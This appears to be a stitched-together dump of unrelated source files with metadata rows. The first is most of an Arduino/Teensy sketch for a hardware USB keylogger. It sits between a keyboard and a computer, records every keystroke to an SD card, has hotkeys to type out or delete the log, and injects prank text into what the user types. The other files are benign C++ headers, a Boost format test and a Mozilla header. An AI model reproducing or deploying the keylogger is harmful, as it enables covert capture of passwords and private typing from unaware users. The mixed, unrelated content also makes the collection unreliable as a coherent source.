is needed by the SD card library. if (!SD.begin(chipSelect)) digitalWrite(ledPin, HIGH); //Turn on LED if there is an error } // the loop() method runs over and over again, // as long as the Arduino has power void loop() { char tempchar; static boolean loltoggle = false; static boolean typerawserialtoggle = false; if (Uart.available()) { incomingByte = Uart.read(); keyarr[IncomingHIDReportIndex]=incomingByte; if (IncomingHIDReportIndex == 17) { keyarr[18]=1; }//Not Sent flag delayMicroseconds(250); //Without delay, stuff don't work. Not sure why. if (IncomingHIDReportIndex < 18 ) IncomingHIDReportIndex++; if (typerawserialtoggle) Keyboard.print(char(incomingByte));//PrintkeyarrSimp(); //use for debugging } else { if (keyarr[18]){ //BEGINNING of section that sends and logs what was typed SendHIDToKeyboard(keyarr); LogThisKey(keyarr); keyarr[18]=0; //Not Sent flag IncomingHIDReportIndex=0; //ENDING of section that sends and logs what was typed //Ok, the rest of this is to change the programmable HID payloads modkeys=(TakeANibble(keyarr[0])|TakeANibble(keyarr[1])); keycode1=TwoByteHexToKeyCode(keyarr[4],keyarr[5]); keycode2=TwoByteHexToKeyCode(keyarr[6],keyarr[7]); keycode3=TwoByteHexToKeyCode(keyarr[8],keyarr[9]); keycode4=TwoByteHexToKeyCode(keyarr[10],keyarr[11]); keycode5=TwoByteHexToKeyCode(keyarr[12],keyarr[13]); keycode6=TwoByteHexToKeyCode(keyarr[14],keyarr[15]); //Check for Ctrl+Alt+L (types out the keylog) if (modkeys==(MODIFIERKEY_CTRL | MODIFIERKEY_ALT) && keycode1==KEY_L){ //CommandAtRunBarMSWIN("notepad.exe"); //delay(2000); Keyboard.println("\r\nYOUR KEYLOG:"); TypeOutLogFile(logfilename); //Let's show the log. You could also pull out the microSD and just read it. } //Check for Ctrl+Alt+D (clear keylog) if (modkeys==(MODIFIERKEY_CTRL | MODIFIERKEY_ALT) && keycode1==KEY_D){ Keyboard.println("\r\nDELETING KEYLOG..."); DeleteLogFile(logfilename); } //Check for Ctrl+Alt+Y (shows the last few keys, for debugging) if (modkeys==(MODIFIERKEY_CTRL | MODIFIERKEY_ALT) && keycode1==KEY_Y){ Keyboard.println(lasttenletters); } //Check for Ctrl+Alt+S (Type raw serial) if (modkeys==(MODIFIERKEY_CTRL | MODIFIERKEY_ALT) && keycode1==KEY_S){ typerawserialtoggle = !typerawserialtoggle; if (typerawserialtoggle){ Keyboard.println("\r\nType Raw Serial ON"); } else { Keyboard.println("\r\nType Raw Serial OFF"); } } //BEGINNING of the part that buffers the last few characters so we can base payloads on keystrokes tempchar=HIDtoASCII(keycode1,modkeys); if (tempchar){ //This shoould only run if a real char is returned in the line above. for(byte j=0; j<9; j++){ lasttenletters[j]=lasttenletters[j+1]; } lasttenletters[9] = tempchar; } //ENDING of the part that buffers the last few characters so we can base payloads on keystrokes //Check to see if they typed my name, make the appropriate change if (lasttenletters.toLowerCase().endsWith("adrian")) { Keyboard.print(" is awesome!"); lasttenletters[9]='*'; //Just change the last character to stop if from triggering again } //Done checking //Check for F12 (enable leet) if (keycode1==KEY_F12){ loltoggle = !loltoggle; if (loltoggle){ Keyboard.println("\r\nU can haz L0Lz!"); } else { Keyboard.println("\r\nLOL mode disabled."); } } //Check if 1337 mode is on, do replacments if so if (loltoggle) LoLIt(); //Done checking } } } byte TwoByteHexToKeyCode(byte hB, byte lB){ byte hBi; byte lBi; hBi=TakeANibble(hB)*16; lBi=TakeANibble(lB); return hBi + lBi ; } byte TakeANibble(byte aB){ byte aBi; if (aB > 47 && aB<58 ){ aBi=aB-48; } if (aB > 64 && aB<71 ){ aBi=aB-55; } return aBi; } /* Next two Functions below are just to get the code out of main/loop and make code more readable. */ void SendHIDToKeyboard(byte *HIDArr) { int lmodkeys,lkeycode1,lkeycode2,lkeycode3,lkeycode4,lkeycode5,lkeycode6; lmodkeys=(TakeANibble(HIDArr[0])|TakeANibble(HIDArr[1])); lkeycode1=TwoByteHexToKeyCode(HIDArr[4],HIDArr[5]); lkeycode2=TwoByteHexToKeyCode(HIDArr[6],HIDArr[7]); lkeycode3=TwoByteHexToKeyCode(HIDArr[8],HIDArr[9]); lkeycode4=TwoByteHexToKeyCode(HIDArr[10],HIDArr[11]); lkeycode5=TwoByteHexToKeyCode(HIDArr[12],HIDArr[13]); lkeycode6=TwoByteHexToKeyCode(HIDArr[14],HIDArr[15]); Keyboard.set_modifier(lmodkeys); Keyboard.set_key1(lkeycode1); Keyboard.set_key2(lkeycode2); Keyboard.set_key3(lkeycode3); Keyboard.set_key4(lkeycode4); Keyboard.set_key5(lkeycode5); Keyboard.set_key6(lkeycode6); Keyboard.send_now(); } /* HID to ASCII code converter largely based on: http://www.circuitsathome.com/mcu/how-to-drive-usb-keyboard-from-arduino I had to change some vars to make it work without his library */ byte HIDtoASCII( byte HIDbyte, byte mod ) { /* upper row of the keyboard, numbers and special symbols */ if( HIDbyte >= 0x1e && HIDbyte <= 0x27 ) { if(mod & MODIFIERKEY_SHIFT || IsNumbOn()) { //shift key pressed switch( HIDbyte ) { case KEY_1: return( '!' ); //! case KEY_2: return( '@' ); //@ case KEY_3: return( '#' ); //# case KEY_4: return( '$' ); //$ case KEY_5: return( '%' ); //% case KEY_6: return( '^' ); //^ case KEY_7: return( '&' ); //& case KEY_8: return( '*' ); //* case KEY_9: return( '(' ); //( case KEY_0: return( ')' ); //) }//switch( HIDbyte... } else { //numbers if( HIDbyte == 0x27 ) { //zero return( 0x30 ); } else { return( HIDbyte + 0x13 ); } }//numbers }//if( HIDbyte >= 0x1e && HIDbyte <= 0x27 /**/ /* number pad. Arrows are not supported */ if(( HIDbyte >= 0x59 && HIDbyte <= 0x61 ) && ( IsNumbOn() == true )) { // numbers 1-9 return( HIDbyte - 0x28 ); } if(( HIDbyte == 0x62 ) && ( IsNumbOn() == true )) { //zero return( 0x30 ); } /* Letters a-z */ if( HIDbyte >= 0x04 && HIDbyte <= 0x1d ) { if((( IsCapsOn() == true ) && ( mod & MODIFIERKEY_SHIFT ) == 0 ) || (( IsCapsOn() == false ) && ( mod & MODIFIERKEY_SHIFT ))) { //upper case return( HIDbyte + 0x3d ); } else { //lower case return( HIDbyte + 0x5d ); } }//if( HIDbyte >= 0x04 && HIDbyte <= 0x1d... /* Other special symbols */ if( HIDbyte >= 0x2c && HIDbyte <= 0x38 ) { switch( HIDbyte ) { case KEY_SPACE: return( 0x20 ); case KEY_MINUS: if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x2d ); } else { return( 0x5f ); } case KEY_EQUAL: if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x3d ); } else { return( 0x2b ); } case KEY_LEFT_BRACE : if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x5b ); } else { return( 0x7b ); } case KEY_RIGHT_BRACE: if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x5d ); } else { return( 0x7d ); } case KEY_BACKSLASH: if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x5c ); } else { return( 0x7c ); } case KEY_SEMICOLON: if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x3b ); } else { return( 0x3a ); } case KEY_QUOTE: if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x27 ); } else { return( 0x22 ); } case KEY_TILDE: if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x60 ); } else { return( 0x7e ); } case KEY_COMMA: if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x2c ); } else { return( 0x3c ); } case KEY_PERIOD: if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x2e ); } else { return( 0x3e ); } case KEY_SLASH: if(( mod & MODIFIERKEY_SHIFT ) == false ) { return( 0x2f ); } else { return( 0x3f ); } default: break; }//switch( HIDbyte.. }//if( HIDbye >= 0x2d && HIDbyte <= 0x38.. return( 0 ); } void LogThisKey(byte *HIDArr) { int lmodkeys,lkeycode1,lkeycode2,lkeycode3,lkeycode4,lkeycode5,lkeycode6; char tempHIDtoASCII = 0; lmodkeys=(TakeANibble(HIDArr[0])|TakeANibble(HIDArr[1])); lkeycode1=TwoByteHexToKeyCode(HIDArr[4],HIDArr[5]); lkeycode2=TwoByteHexToKeyCode(HIDArr[6],HIDArr[7]); lkeycode3=TwoByteHexToKeyCode(HIDArr[8],HIDArr[9]); lkeycode4=TwoByteHexToKeyCode(HIDArr[10],HIDArr[11]); lkeycode5=TwoByteHexToKeyCode(HIDArr[12],HIDArr[13]); lkeycode6=TwoByteHexToKeyCode(HIDArr[14],HIDArr[15]); if(lmodkeys || lkeycode1){//Don't send if it's a 0 logfile=SD.open(logfilename, FILE_WRITE); if (!logfile) digitalWrite(ledPin, HIGH); if (lmodkeys && lkeycode1){ //only log mod keys if a normal key is also pressed if (lmodkeys & 1) logfile.print("[CRTL]"); if (lmodkeys & 2) logfile.print("[SHIFT]"); //Getting rid of shifts may make the log easier to read if (lmodkeys & 4) logfile.print("[ALT]"); if (lmodkeys & 8) logfile.print("[WINKEY]"); } //Notice I'm just logging the first key switch (lkeycode1){ case 0: //Do nada break; case 40: logfile.println("[KEY_ENTER]"); break; case 41: logfile.println("[KEY_ESC]"); break; case 42: logfile.println("[KEY_BACKSPACE]"); case 43: logfile.print("[KEY_TAB]"); break; case 50: logfile.println("[KEY_NON_US_NUM]"); break; case 57: logfile.println("[KEY_CAPS_LOCK]"); break; case 58: logfile.println("[KEY_F1]"); break; case 59: logfile.println("[KEY_F2]"); break; case 60: logfile.println("[KEY_F3]"); break; case 61: logfile.println("[KEY_F4]"); break; case 62: logfile.println("[KEY_F5]"); break; case 63: logfile.println("[KEY_F6]"); break; case 64: logfile.println("[KEY_F7]"); break; case 65: logfile.println("[KEY_F8]"); break; case 66: logfile.println("[KEY_F9]"); break; case 67: logfile.println("[KEY_F10]"); break; case 68: logfile.println("[KEY_F11]"); break; case 69: logfile.println("[KEY_F12]"); break; case 70: logfile.println("[KEY_PRINTSCREEN]"); break; case 71: logfile.println("[KEY_SCROLL_LOCK]"); break; case 72: logfile.println("[KEY_PAUSE]"); break; case 73: logfile.println("[KEY_INSERT]"); break; case 74: logfile.println("[KEY_HOME]"); break; case 75: logfile.println("[KEY_PAGE_UP]"); break; case 76: logfile.println("[KEY_DELETE]"); break; case 77: logfile.println("[KEY_END]"); break; case 78: logfile.println("[KEY_PAGE_DOWN]"); break; case 79: logfile.println("[KEY_RIGHT]"); break; case 80: logfile.println("[KEY_LEFT]"); break; case 81: logfile.println("[KEY_DOWN]"); break; case 82: logfile.println("[KEY_UP]"); break; case 83: logfile.println("[KEY_NUM_LOCK]"); break; case 84: logfile.print("[KEYPAD_SLASH]"); break; case 85: logfile.print("[KEYPAD_ASTERIX]"); break; case 86: logfile.print("[KEYPAD_MINUS]"); break; case 87: logfile.print("[KEYPAD_PLUS]"); break; case 88: logfile.println("[KEYPAD_ENTER]"); break; case 89: logfile.print("[KEYPAD_1]"); break; case 90: logfile.print("[KEYPAD_2]"); break; case 91: logfile.print("[KEYPAD_3]"); break; case 92: logfile.print("[KEYPAD_4]"); break; case 93: logfile.print("[KEYPAD_5]"); break; case 94: logfile.print("[KEYPAD_6]"); break; case 95: logfile.print("[KEYPAD_7]"); break; case 96: logfile.print("[KEYPAD_8]"); break; case 97: logfile.print("[KEYPAD_9]"); break; case 98: logfile.print("[KEYPAD_0]"); break; case 99: logfile.println("[KEYPAD_PERIOD]"); break; default: //The code below should cover all the other cases tempHIDtoASCII =HIDtoASCII(lkeycode1,lmodkeys); if (tempHIDtoASCII) { logfile.print(tempHIDtoASCII); } else { logfile.print("\r\n[UNKNOWN KEY CODE "); logfile.print(lkeycode1); logfile.print(" MODKEYS "); logfile.print(lmodkeys); logfile.println("]"); } } logfile.close(); } } void TypeOutLogFile(char *SomeFile){ logfile=SD.open(SomeFile); while (logfile.available()) Keyboard.print((char)logfile.read()); logfile.close(); Keyboard.println("\r\nEND OF LOG"); } void DeleteLogFile(char *SomeFile){ SD.remove(SomeFile); //No reset needed here it seems. } //Function below just used for debugging void Printkeyarr(){ for (byte j=0; j<=18; j++){ Keyboard.print("j:"); Keyboard.print(j); Keyboard.print(":"); Keyboard.println(char(keyarr[j])); } } //Function below just used for debugging void PrintkeyarrSimp(){ for (byte j=0; j<=18; j++){ Keyboard.print(char(keyarr[j])); } Keyboard.println(); } void LoLIt(){ if (lasttenletters.toLowerCase().endsWith("you ")) { PressAndRelease(KEY_BACKSPACE, 4); Keyboard.print("U "); lasttenletters[8]='*'; //Just change the last character to stop if from triggering again lasttenletters[9]=' '; //Put space back on the ring so the next one can trigger } if (lasttenletters.toLowerCase().endsWith("why ")) { PressAndRelease(KEY_BACKSPACE, 4); Keyboard.print("Y "); lasttenletters[8]='*'; //Just change the last character to stop if from triggering again lasttenletters[9]=' '; //Put space back on the ring so the next one can trigger } if (lasttenletters.toLowerCase().endsWith(" have ")) { PressAndRelease(KEY_BACKSPACE, 3); Keyboard.print("z "); lasttenletters[8]='*'; //Just change the last character to stop if from triggering again lasttenletters[9]=' '; //Put space back on the ring so the next one can trigger } if (lasttenletters.toLowerCase().endsWith(" has ")) { PressAndRelease(KEY_BACKSPACE, 2); Keyboard.print("z "); lasttenletters[8]='*'; //Just change the last character to stop if from triggering again lasttenletters[9]=' '; //Put space back on the ring so the next one can trigger } if (lasttenletters.toLowerCase().endsWith(" long ")) { PressAndRelease(KEY_BACKSPACE, 3); Keyboard.print("ooooooooooooooooooooooooooooong "); lasttenletters[8]='*'; //Just change the last character to stop if from triggering again lasttenletters[9]=' '; //Put space back on the ring so the next one can trigger } if (lasttenletters.toLowerCase().endsWith(" I'm ")) { PressAndRelease(KEY_BACKSPACE, 3); Keyboard.print("z "); lasttenletters[8]='*'; //Just change the last character to stop if from triggering again lasttenletters[9]=' '; //Put space back on the ring so the next one can trigger } if (lasttenletters.toLowerCase().endsWith(" i am ")) { PressAndRelease(KEY_BACKSPACE, 4); Keyboard.print("z "); lasttenletters[8]='*'; //Just change the last character to stop if from triggering again lasttenletters[9]=' '; //Put space back on the ring so the next one can trigger } if (lasttenletters.toLowerCase().endsWith(" cheese")) { PressAndRelease(KEY_BACKSPACE, 2); Keyboard.print("z"); lasttenletters[8]='*'; //Just change the last character to stop if from triggering again lasttenletters[9]=' '; //Put space back on the ring so the next one can trigger } if (lasttenletters.toLowerCase().endsWith(" the ")) { PressAndRelease(KEY_BACKSPACE, 3); Keyboard.print("eh "); lasttenletters[8]='*'; //Just change the last character to stop if from triggering again lasttenletters[9]=' '; //Put space back on the ring so the next one can trigger } if (lasttenletters.toLowerCase().endsWith(" don't ")) { PressAndRelease(KEY_BACKSPACE, 6); Keyboard.print("NO "); lasttenletters[8]='*'; //Just change the last character to stop if from triggering again lasttenletters[9]=' '; //Put space back on the ring so the next one can trigger } }
[ [ [ 1, 647 ] ] ]
0b48eb018f39c9ba534faa888a1f7d63aed8f6bd
27b8c57bef3eb26b5e7b4b85803a8115e5453dcb
/branches/humanoid/include/Control/InverseDynamics/Environment.h
dd60251979d96e8fc7aaf1b7dc15644666fa3125
[]
no_license
BackupTheBerlios/walker-svn
2576609a17eab7a08bb2437119ef162487444f19
66ae38b2c1210ac2f036e43b5f0a96013a8e3383
refs/heads/master
2020-05-30T11:30:48.193275
2011-03-24T17:10:17
2011-03-24T17:10:17
40,819,670
0
0
null
null
null
null
UTF-8
C++
false
false
970
h
#ifndef __WALKER_YARD_CONTROL_INVERSE_DYNAMICS_ENVIRONMENT_H___ #define __WALKER_YARD_CONTROL_INVERSE_DYNAMICS_ENVIRONMENT_H___ #include "../PhysicsEnvironment.h" namespace ctrl { namespace id { class Environment : public PhysicsEnvironment { template<typename T> friend class ctrl::environment_wrapper; public: Environment(const PhysicsEnvironment::DESC& desc); void toggleEpisodic(bool toggle) {episodic = toggle;} // Override Environment void reset(); void makeReward(); // get float getReward() const { return reward; } private: bool terminal; bool episodic; float reward; float averagePos; float averageVel; }; typedef boost::intrusive_ptr<Environment> environment_ptr; typedef boost::intrusive_ptr<const Environment> const_environment_ptr; } // namespace id } // namespace ctrl #endif // __WALKER_YARD_CONTROL_INVERSE_DYNAMICS_ENVIRONMENT_H___
[ "dikobraz@9454499b-da03-4d27-8628-e94e5ff957f9" ]
[ [ [ 1, 39 ] ] ]
8426de7701177ca524182bd91456e9a12fa7196c
91b964984762870246a2a71cb32187eb9e85d74e
/SRC/OFFI SRC!/boost_1_34_1/boost_1_34_1/libs/format/test/format_test3.cpp
6102b2c9aded27559c545cb5f057ad61a2bccb49
[ "BSL-1.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
willrebuild/flyffsf
e5911fb412221e00a20a6867fd00c55afca593c7
d38cc11790480d617b38bb5fc50729d676aef80d
refs/heads/master
2021-01-19T20:27:35.200154
2011-02-10T12:34:43
2011-02-10T12:34:43
32,710,780
3
0
null
null
null
null
UTF-8
C++
false
false
4,018
cpp
// ------------------------------------------------------------------------------ // format_test3.cpp : complicated format strings and / or advanced uses // ------------------------------------------------------------------------------ // Copyright Samuel Krempp 2003. Use, modification, and distribution are // subject to the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // see http://www.boost.org/libs/format for library home page // ------------------------------------------------------------------------------ #define BOOST_FORMAT_STATIC_STREAM #include "boost/format.hpp" #include <iostream> #include <iomanip> #define BOOST_INCLUDE_MAIN #include <boost/test/test_tools.hpp> struct Rational { int n,d; Rational (int an, int ad) : n(an), d(ad) {} }; std::ostream& operator<<( std::ostream& os, const Rational& r) { os << r.n << "/" << r.d; return os; } int test_main(int, char* []) { using namespace std; using boost::format; using boost::io::group; using boost::str; string s, s2; // special paddings s = str( format("[%=6s] [%+6s] [%+6s] [% 6s] [%+6s]\n") % 123 % group(internal, setfill('W'), 234) % group(internal, setfill('X'), -345) % group(setfill('Y'), 456) % group(setfill('Z'), -10 ) ); if(s != "[ 123 ] [+WW234] [-XX345] [YY 456] [ZZZ-10]\n" ) { cerr << s ; BOOST_ERROR("formatting error. (with special paddings)"); } s = str( format("[% 6.8s] [% 8.6s] [% 7.7s]\n") % group(internal, setfill('x'), Rational(12345,54321)) % group(internal, setfill('x'), Rational(123,45)) % group(internal, setfill('x'), Rational(123,321)) ); if(s != (s2="[ 12345/5] [ xx123/4] [ 123/32]\n" )) { cerr << s << s2; BOOST_ERROR("formatting error. (with special paddings)"); } s = str( format("[% 6.8s] [% 6.8s] [% 6.8s] [% 6.8s] [%6.8s]\n") % 1234567897 % group(setfill('x'), 12) % group(internal, setfill('x'), 12) % group(internal, setfill('x'), 1234567890) % group(internal, setfill('x'), 123456) ); if(s != (s2="[ 1234567] [xxx 12] [ xxx12] [ 1234567] [123456]\n") ) { cerr << s << s2; BOOST_ERROR("formatting error. (with special paddings)"); } s = str( format("[% 8.6s] [% 6.4s] [% 6.4s] [% 8.6s] [% 8.6s]\n") % 1234567897 % group(setfill('x'), 12) % group(internal, setfill('x'), 12) % group(internal, setfill('x'), 1234567890) % group(internal, setfill('x'), 12345) ); if(s != (s2="[ 12345] [xxx 12] [ xxx12] [ xx12345] [ xx12345]\n") ) { cerr << s << s2; BOOST_ERROR("formatting error. (with special paddings)"); } // nesting formats : s = str( format("%2$014x [%1%] %|2$05|\n") % (format("%05s / %s") % -18 % 7) %group(showbase, -100) ); if( s != "0x0000ffffff9c [-0018 / 7] -0100\n" ){ cerr << s ; BOOST_ERROR("nesting did not work"); } // testcase for bug reported at // http://lists.boost.org/boost-users/2006/05/19723.php format f("%40t%1%"); int x = 0; f.bind_arg(1, x); f.clear(); // testcase for bug reported at // http://lists.boost.org/boost-users/2005/11/15454.php std::string l_param; std::string l_str = (boost::format("here is an empty string: %1%") % l_param).str(); // testcase for SourceForge bug #1506914 std::string arg; // empty string s = str(format("%=8s") % arg); return 0; }
[ "[email protected]@e2c90bd7-ee55-cca0-76d2-bbf4e3699278" ]
[ [ [ 1, 113 ] ] ]
f5b9c8d15eda5c25c293a59be1e220b9169e51ad
4ab40b7fa3d15e68457fd2b9100e0d331f013591
/mirrorworld/Objects/MWTrigger.h
797029d930e0514a22d3b1e311e2dc220edfc7d5
[]
no_license
yzhou61/mirrorworld
f5d2c221f3f8376cfb0bffd0a3accbe9bb1caa21
33653244e5599d7d04e8a9d8072d32ecc55355b3
refs/heads/master
2021-01-19T20:18:44.546599
2010-03-19T22:40:42
2010-03-19T22:40:42
32,120,779
0
0
null
null
null
null
UTF-8
C++
false
false
1,140
h
////////////////////////////////////////////////////////////////////////// // ////////////////////////////////////////////////////////////////////////// #ifndef _MW_TRIGGER_H_ #define _MW_TRIGGER_H_ #include "MWObject.h" #include <vector> namespace MirrorWorld { using Ogre::Vector3; class Trigger : public Object { public: Trigger(unsigned int id) : Object(id, false, false, false, true) { } ~Trigger(){} void initTrigger(const Vector3& pos, const Vector3& nor, const Vector3& up); void setTarget(Object* obj, const Ogre::Vector3& translate, Ogre::Real timeLength); Ogre::String name() const { return "Trigger"; } bool trigger(); void update(double timeElasped); private: Object* m_pObject; Ogre::AnimationState* m_pState; double m_TimeLength; double m_Acctime; Ogre::Vector3 m_Translate; bool activated; }; class TriggerMaker : public ObjectMaker { public: TriggerMaker(){} ~TriggerMaker(){} Trigger* create(unsigned int id) const { Trigger* trigger = new Trigger(id); return trigger; } }; // End of WallMaker } #endif
[ "cxyzs7@2e672104-186a-11df-85bb-b9a83fee2cb1", "yzhou61@2e672104-186a-11df-85bb-b9a83fee2cb1" ]
[ [ [ 1, 3 ], [ 7, 7 ], [ 9, 15 ], [ 17, 20 ], [ 23, 25 ], [ 30, 40 ] ], [ [ 4, 6 ], [ 8, 8 ], [ 16, 16 ], [ 21, 22 ], [ 26, 29 ], [ 41, 43 ] ] ]
2c1f25f20d30c0c57830f3e29392cab311478fa3
a04058c189ce651b85f363c51f6c718eeb254229
/Src/Forms/GasPricesMainForm.hpp
09fe193136fef466d0bdb12e5061b2048edcbcc3
[]
no_license
kjk/moriarty-palm
090f42f61497ecf9cc232491c7f5351412fba1f3
a83570063700f26c3553d5f331968af7dd8ff869
refs/heads/master
2016-09-05T19:04:53.233536
2006-04-04T06:51:31
2006-04-04T06:51:31
18,799
4
1
null
null
null
null
UTF-8
C++
false
false
1,631
hpp
#ifndef MORIARTY_GAS_PRICES_MAIN_FORM_HPP__ #define MORIARTY_GAS_PRICES_MAIN_FORM_HPP__ #include "MoriartyForm.hpp" #include "MoriartyPreferences.hpp" #include <FormObject.hpp> #include <HmStyleList.hpp> class GasPricesMainForm: public MoriartyForm { Preferences::GasPricesPreferences* preferences_; HmStyleList gasList_; Control doneButton_; Control updateButton_; Control changeLocationButton_; typedef std::auto_ptr<ExtendedList::CustomDrawHandler> ListDrawHandlerPtr; ListDrawHandlerPtr gasListDrawHandler_; void updateTitle(); public: explicit GasPricesMainForm(MoriartyApplication& app); ~GasPricesMainForm(); private: void handleControlSelect(const EventType& data); bool handleKeyPress(const EventType& event); void handleLookupFinished(const EventType& event); void updateAfterLookup(LookupManager& lookupManager); void handleListItemSelect(uint_t listId, uint_t itemId); void handleUpdateButton(); void handleChangeLocationButton(); void updateGasList(); void setVersion(Preferences::GasPricesPreferences::Version version); void inlineInformation(uint_t item); void popupFormInformation(uint_t item); protected: void attachControls(); bool handleOpen(); void resize(const ArsRectangle& screenBounds); bool handleEvent(EventType& event); bool handleMenuCommand(UInt16 itemId); void draw(UInt16 updateCode=frmRedrawUpdateCode); }; #endif
[ "andrzejc@a75a507b-23da-0310-9e0c-b29376b93a3c" ]
[ [ [ 1, 69 ] ] ]
70b068be0bb5818072a591d671b0b9041d5f96f4
1e5a2230acf1c2edfe8b9d226100438f9374e98a
/src/gecko-sdk/include/nsIWeakReferenceUtils.h
7e2867575824c5fe78e980a6e7e2f9865259544d
[]
no_license
lifanxi/tabimswitch
258860fea291c935d3630abeb61436e20f5dcd09
f351fc4b04983e59d1ad2b91b85e396e1f4920ed
refs/heads/master
2020-05-20T10:53:41.990172
2008-10-15T11:15:41
2008-10-15T11:15:41
32,111,854
0
0
null
null
null
null
UTF-8
C++
false
false
4,984
h
/* -*- Mode: IDL; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* ***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1/GPL 2.0/LGPL 2.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is mozilla.org code. * * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1998 * the Initial Developer. All Rights Reserved. * * Contributor(s): * Scott Collins <[email protected]> (Original Author) * * Alternatively, the contents of this file may be used under the terms of * either of the GNU General Public License Version 2 or later (the "GPL"), * or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), * in which case the provisions of the GPL or the LGPL are applicable instead * of those above. If you wish to allow use of your version of this file only * under the terms of either the GPL or the LGPL, and not to allow others to * use your version of this file under the terms of the MPL, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the GPL or the LGPL. If you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the MPL, the GPL or the LGPL. * * ***** END LICENSE BLOCK ***** */ #ifndef nsIWeakReferenceUtils_h__ #define nsIWeakReferenceUtils_h__ #ifndef nsCOMPtr_h__ #include "nsCOMPtr.h" #endif typedef nsCOMPtr<nsIWeakReference> nsWeakPtr; /** * */ // a type-safe shortcut for calling the |QueryReferent()| member function // T must inherit from nsIWeakReference, but the cast may be ambiguous. template <class T, class DestinationType> inline nsresult CallQueryReferent( T* aSource, DestinationType** aDestination ) { NS_PRECONDITION(aSource, "null parameter"); NS_PRECONDITION(aDestination, "null parameter"); return aSource->QueryReferent(NS_GET_IID(DestinationType), NS_REINTERPRET_CAST(void**, aDestination)); } class NS_COM_GLUE nsQueryReferent : public nsCOMPtr_helper { public: nsQueryReferent( nsIWeakReference* aWeakPtr, nsresult* error ) : mWeakPtr(aWeakPtr), mErrorPtr(error) { // nothing else to do here } virtual nsresult NS_FASTCALL operator()( const nsIID& aIID, void** ) const; private: nsIWeakReference* mWeakPtr; nsresult* mErrorPtr; }; inline const nsQueryReferent do_QueryReferent( nsIWeakReference* aRawPtr, nsresult* error = 0 ) { return nsQueryReferent(aRawPtr, error); } /** * Deprecated, use |do_GetWeakReference| instead. */ extern NS_COM_GLUE nsIWeakReference* NS_GetWeakReference( nsISupports* , nsresult* aResult=0 ); /** * |do_GetWeakReference| is a convenience function that bundles up all the work needed * to get a weak reference to an arbitrary object, i.e., the |QueryInterface|, test, and * call through to |GetWeakReference|, and put it into your |nsCOMPtr|. * It is specifically designed to cooperate with |nsCOMPtr| (or |nsWeakPtr|) like so: * |nsWeakPtr myWeakPtr = do_GetWeakReference(aPtr);|. */ inline already_AddRefed<nsIWeakReference> do_GetWeakReference( nsISupports* aRawPtr, nsresult* error = 0 ) { return NS_GetWeakReference(aRawPtr, error); } inline void do_GetWeakReference( nsIWeakReference* aRawPtr, nsresult* error = 0 ) { // This signature exists soley to _stop_ you from doing a bad thing. // Saying |do_GetWeakReference()| on a weak reference itself, // is very likely to be a programmer error. } template <class T> inline void do_GetWeakReference( already_AddRefed<T>& ) { // This signature exists soley to _stop_ you from doing the bad thing. // Saying |do_GetWeakReference()| on a pointer that is not otherwise owned by // someone else is an automatic leak. See <http://bugzilla.mozilla.org/show_bug.cgi?id=8221>. } template <class T> inline void do_GetWeakReference( already_AddRefed<T>&, nsresult* ) { // This signature exists soley to _stop_ you from doing the bad thing. // Saying |do_GetWeakReference()| on a pointer that is not otherwise owned by // someone else is an automatic leak. See <http://bugzilla.mozilla.org/show_bug.cgi?id=8221>. } #endif
[ "ftofficer.zhangc@237747d1-5336-0410-8d3f-2982d197fc3e" ]
[ [ [ 1, 142 ] ] ]